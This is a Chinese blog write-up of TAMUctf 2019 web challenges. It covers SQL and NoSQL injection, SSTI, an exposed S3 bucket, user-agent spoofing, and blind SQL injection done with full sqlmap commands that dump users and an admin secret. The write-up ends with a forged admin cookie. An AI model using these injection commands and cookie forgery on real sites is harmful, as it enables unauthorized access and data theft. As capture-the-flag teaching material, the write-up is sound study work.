很简单,但是还是把笔记放上来吧。

Not Another SQLi Challenge

题目:http://web1.tamuctf.com/

打开是个登录界面,直接SQL注入getflag:

Robots Rule

题目:http://web5.tamuctf.com/

打开页面,提示ROBOTS:

直接访问robots.txt,内容如下:

大致意思就是告诉它有一个Google robots,直接更换UserAgent为googlebot即谷歌爬虫,从而getflag:

Many Gig’ems to you!

题目:http://web7.tamuctf.com/

打开页面,发现有两个按钮,且页面存在大量图片:

右键查看源码,发现图片中的alt属性值有蹊跷:

找到了一个gigem{flag_in_字符串,退出剩下的应该在其他页面中找到。

点击Gigs!按钮时当前主页面,点击Cookies!跳转到cookies.html页面,该页面也存在大量图片,同理查看源码:

发现如下可以字符串:gigem{_continued=source_and_

最后,根据cookies提示,查看报文的cookie值,其中有个cookies.js设置cookie值,看到其中关联的字符串gigem_continue=cookies}

一切清晰了,拼起来就是gigem{flag_in_source_and_cookies},这就是flag。

Science!

题目:http://web3.tamuctf.com/

访问题目,提示是Python Flask搭建的Web服务,其中可以输入内容查询,推测是SSTI即服务端模板注入攻击:

验证一下,在其中一个输入框输入579,结果返回了该表达式执行的结果,证明了存在SSTI漏洞:

接着上任意文件读取payload即可:

Buckets

题目:http://tamuctf.s3-website-us-west-2.amazonaws.com/

访问网页,说狗肯定比猫好,背景是狗的图片,除此之外没啥了:

查看页面源码,有两段提示,大概说的是这是作者第一个AWS Web页面,用的是S3 buckets框架,且passowrd在Dogs附近:

这里涉及到AWS S3 buckets框架的一个知识点,就是访问http://tamuctf.s3-website-us-west-2.amazonaws.com/,也可以通过访问http://tamuctf.s3.amazonaws.com/实现,是一样的。

访问Key标签的URL即可getflag:

Login App

题目:http://web4.tamuctf.com/

访问页面,是个提供输入用户名和密码的登录界面,但是怎么输入都没有反应,查看页面源码,关键部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
...
.form .register-form {
display: none;
}
...
<div class="login-page">
<div class="form">
<form class="register-form">
<input type="text" placeholder="name"/>
<input type="password" placeholder="password"/>
<input type="text" placeholder="email address"/>
<button>create</button>
</form>
<form class="login-form">
<input id="username" type="text" placeholder="username"/>
<input id="password" type="password" placeholder="password"/>
<button id="submit">login</button>
</form>
</div>
</div>

<script>
$("#submit").on('click', function(){
$.ajax({
url: 'login',
type : "POST",
dataType : 'json',
data : JSON.stringify({"username": $("#username").val(), "password": $("#password").val()}),
contentType: 'application/json;charset=UTF-8',
success : function(result) {
$(".result").html(result);
console.log(result);
alert(result);
},
error: function(xhr, resp, text) {
$(".result").html("Something went wrong");
console.log(xhr, resp, text);
}
})
});
</script>
...

虽然在页面中隐藏了注册表单,但是没啥用,因为后面的JS代码只会在id为submit的元素被点击时触发,而只有登录的表单含有该id元素;注意到JS代码的作用,它以POST方法请求的是/login,以Json格式上传username和password参数,Content-Type设置为application/json,构造报文尝试一下:

成功返回数据。这里看到登录的参数是通过Json格式提交的,可以推测是一道NoSQL注入题目。

这里尝试使用$ne即not equal不相等,用来查询某个记录不等于该值的所有记录。

我们知道密码不为空,参考网上的NoSQL注入payload,那我们就直接输入payload如下就getflag了:

Bird Box Challenge

题目:http://web2.tamuctf.com/

提示了:We’ve got Aggies, Trucks, and Eggs!

访问网页,是一个提供输入的查询页面:

随便输入,会找不到东西,但是输入提示的内容就会显示相应的东西:

关注到页面并没有其他的功能点了,抓包也确认了确实只有Search.php的Search参数存在注入点,且页面没有直接返回错误信息,猜测应该就是SQL盲注吧,且在抓包过程发现,输入eggs即正常数据以及输入查询不到的数据,服务端都是返回500,但其他出错查询时就返回400:

下面就上sqlmap跑起来,但是一开始没有跑出啥东西,经过测试发现是校验了UserAgent,后台对UserAgent为sqlmap的报文进行了过滤,而sqlmap默认的UA即包含sqlmap字样:

sqlmap中先加入–random-agent,跑出为mysql,然后–dbs参数跑出两个数据库,当然可以添加–technique=BT指定基于布尔和时间的盲注来提高效率:

1
2
3
4
5
root@kali:~# sqlmap -u "http://web2.tamuctf.com/Search.php?Search=eggs" --random-agent -p Search --dbms mysql --dbs
...
available databases [2]:
[*] information_schema
[*] SqliDB

然后-D参数指定SqliDB数据库,–tables参数跑出表Search:

1
2
3
4
5
6
7
root@kali:~# sqlmap -u "http://web2.tamuctf.com/Search.php?Search=eggs" --random-agent -p Search --dbms mysql -D SqliDB --tables
...
Database: SqliDB
[1 table]
+--------+
| Search |
+--------+

-T参数指定Search表,–columns参数跑出表项items:

1
2
3
4
5
6
7
8
9
10
root@kali:~# sqlmap -u "http://web2.tamuctf.com/Search.php?Search=eggs" --random-agent -p Search --dbms mysql -D SqliDB -T Search --columns
...
Database: SqliDB
Table: Search
[1 column]
+--------+--------------+
| Column | Type |
+--------+--------------+
| items | varchar(100) |
+--------+--------------+

–dump参数将表项的内容全列出来:

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~# sqlmap -u "http://web2.tamuctf.com/Search.php?Search=eggs" --random-agent -p Search --dbms mysql -D SqliDB -T Search --dump
...
Database: SqliDB
Table: Search
[3 entries]
+--------+
| items |
+--------+
| Aggies |
| Eggs |
| Trucks |
+--------+

发现是提示的几个内容,也就是说数据库只保存了这几个东西,flag并不在此。

–users参数查询一下所有用户,发现有且仅有一个的用户名就是flag:

1
2
3
4
root@kali:~# sqlmap -u "http://web2.tamuctf.com/Search.php?Search=eggs" --random-agent -p Search --dbms mysql --users
...
database management system users [1]:
[*] 'gigem{w3_4r3_th3_4ggi3s}'@'localhost'

1337 Secur1ty

题目:http://web6.tamuctf.com/

访问页面,有个登录窗口和注册窗口:

在注册的响应报文中,发现设置cookie的信息:

注册完成后,有3个页面如下:

Profile中显示个人注册信息,并且可以修改:

Messages中显示收到的消息,并且可以写新消息发送给别人:

Employees中可以看到所有注册的人的消息:

从这里可以分析得出,Alan是我注册的用户,这里ID为5,和cookie中userid为5是对应的,也就是说,1337-admin的userid为1,还需要知道它的cookie中secret的属性值才能登上admin的用户来访问。

现在问题转变为,如何获取secret呢?界面功能有限,一个个点,抓包观察,发现Messages的消息列表可以点进去,且似乎有个id参数注入点:

直接丢到sqlmap,发现id参数确实可注入。接着添加sqlmap其他参数让它自己表演就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
root@kali:~# sqlmap -u "http://web6.tamuctf.com/message?id=1" -p id --dbms mysql --dbs
...
available databases [2]:
[*] 1337_Secur1ty
[*] information_schema


root@kali:~# sqlmap -u "http://web6.tamuctf.com/message?id=1" -p id --dbms mysql -D 1337_Secur1ty --tables
...
Database: 1337_Secur1ty
[2 tables]
+----------+
| Messages |
| Users |
+----------+


root@kali:~# sqlmap -u "http://web6.tamuctf.com/message?id=1" -p id --dbms mysql -D 1337_Secur1ty -T Users --columns
...
Database: 1337_Secur1ty
Table: Users
[10 columns]
+-------------+--------------+
| Column | Type |
+-------------+--------------+
| CreateDate | datetime |
| Description | varchar(200) |
| Email | varchar(37) |
| FirstName | varchar(10) |
| LastName | varchar(15) |
| Password | varchar(50) |
| Phone | varchar(10) |
| Secret | varchar(50) |
| UserID | int(9) |
| Username | varchar(20) |
+-------------+--------------+


root@kali:~# sqlmap -u "http://web6.tamuctf.com/message?id=1" -p id --dbms mysql -D 1337_Secur1ty -T Users --dump
...
Database: 1337_Secur1ty
Table: Users
[2 entries]
+--------+---------+-----------------------------+------------------+------------+----------+----------------------------------+-----------+---------------------+--------------------------------------------+
| UserID | Phone | Email | Secret | Username | LastName | Password | FirstName | CreateDate | Description |
+--------+---------+-----------------------------+------------------+------------+----------+----------------------------------+-----------+---------------------+--------------------------------------------+
| 1 | <blank> | 1337-admin@l337secur1ty.hak | WIFHXDZ3BOHJMJSC | 1337-admin | Joeson | 02ca0b0603222a090fe2fbf3ba97d90c | Joe | 2019-03-10 07:27:46 | Most secure admin to ever grace existence. |
| 2 | <blank> | ScrubLord@l337secur1ty.hak | 4VCLO52ALSUUO5OM | ScrubLord | Bobson | fc8b8be2abe4a79bf6f36eee484c1f08 | Bob | 2019-03-10 07:27:46 | That random intern. |
+--------+---------+-----------------------------+------------------+------------+----------+----------------------------------+-----------+---------------------+--------------------------------------------+

可以看到,通过sqlmap将Users表中的信息dump下来,其中含有1337-admin用户的secret消息即WIFHXDZ3BOHJMJSC。

现在退出当前用户,带上这段header字段Cookie: userid=1; secret=WIFHXDZ3BOHJMJSC访问即可getflag: